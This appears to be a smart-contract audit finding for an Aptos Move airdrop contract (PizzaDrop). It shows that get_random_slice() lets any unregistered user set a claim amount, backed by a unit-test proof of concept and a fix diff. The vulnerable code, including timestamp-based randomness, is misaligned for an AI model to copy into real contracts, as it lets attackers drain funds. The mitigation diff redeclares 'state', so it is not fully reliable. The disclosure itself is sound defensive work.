get_random_slice() has entry accessibility and has no guards to check whether user is registered already + A user can claim PizzaDrop without registration
Description
-
A user must be registered by the owner to become eligible.
-
get_random_slice()
has entry
accessibility.
-
get_random_slice()
has no guards to check whether the user is registered already by the owner.
#[randomness]
@> entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
let time = timestamp::now_microseconds();
let random_val = time % 401;
let random_amount = 100 + random_val;
table::add(&mut state.users_claimed_amount, user_addr, random_amount);
}
Risk
Likelihood:
Impact:
Proof of Concept
fun p<T>(s: &T) {
debug::print(s);
}
fun p_vector(s: vector<u8>) {
debug::print(&string::utf8(s));
}
#[test(deployer = @pizza_drop, user = @0x123, framework = @0x1)]
fun test_get_random_slice_without_being_registered(
deployer: &signer,
user: &signer,
framework: &signer
) acquires State, ModuleData {
use aptos_framework::account;
use aptos_framework::timestamp;
use aptos_framework::aptos_coin;
timestamp::set_time_has_started_for_testing(framework);
let now_us = timestamp::now_microseconds();
p_vector(b"now_us");
p(&now_us);
let (burn_cap, mint_cap) = aptos_coin::initialize_for_test(framework);
account::create_account_for_test(@pizza_drop);
account::create_account_for_test(signer::address_of(user));
init_module(deployer);
let funding_amount = 100000;
let deployer_coins = coin::mint<AptosCoin>(funding_amount, &mint_cap);
coin::register<AptosCoin>(deployer);
coin::deposit<AptosCoin>(@pizza_drop, deployer_coins);
let contract_funding = 10000;
fund_pizza_drop(deployer, contract_funding);
let user_addr = signer::address_of(user);
get_random_slice(user_addr);
let user_claimed_amount = get_claimed_amount(user_addr);
p_vector(b"user_claimed_amount");
p(&user_claimed_amount);
assert!(user_claimed_amount == 100, 8);
coin::destroy_burn_cap(burn_cap);
coin::destroy_mint_cap(mint_cap);
}
On line 48, any user can call get_random_slice()
without the owner
calling register_pizza_lover()
first.
Run with:
aptos move test --filter test_get_random_slice_without_being_registered
Output:
Running Move unit tests
[debug] "now_us"
[debug] 0
[debug] "user_claimed_amount"
[debug] 100
[ PASS ] 0xccc::airdrop::test_get_random_slice_without_being_registered
Test result: OK. Total tests: 1; passed: 1; failed: 0
{
"Result": "Success"
}
Recommended Mitigation
Enforce that only the owner
can call get_random_slice()
and add a guard to check that the user_addr
has not already claimed a random slice.
- remove this code
+ add this code
#[randomness]
- entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
+ entry fun get_random_slice(owner: &signer, user_addr: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
+ assert!(signer::address_of(owner) == state.owner, E_NOT_OWNER);
+ assert!(!has_claimed_slice(user_addr), E_ALREADY_CLAIMED);
+ let state = borrow_global_mut<State>(get_resource_address());
let time = timestamp::now_microseconds();
let random_val = time % 401;
let random_amount = 100 + random_val; // 100-500 APT (in Octas: 10^8 smallest unit)
table::add(&mut state.users_claimed_amount, user_addr, random_amount);
}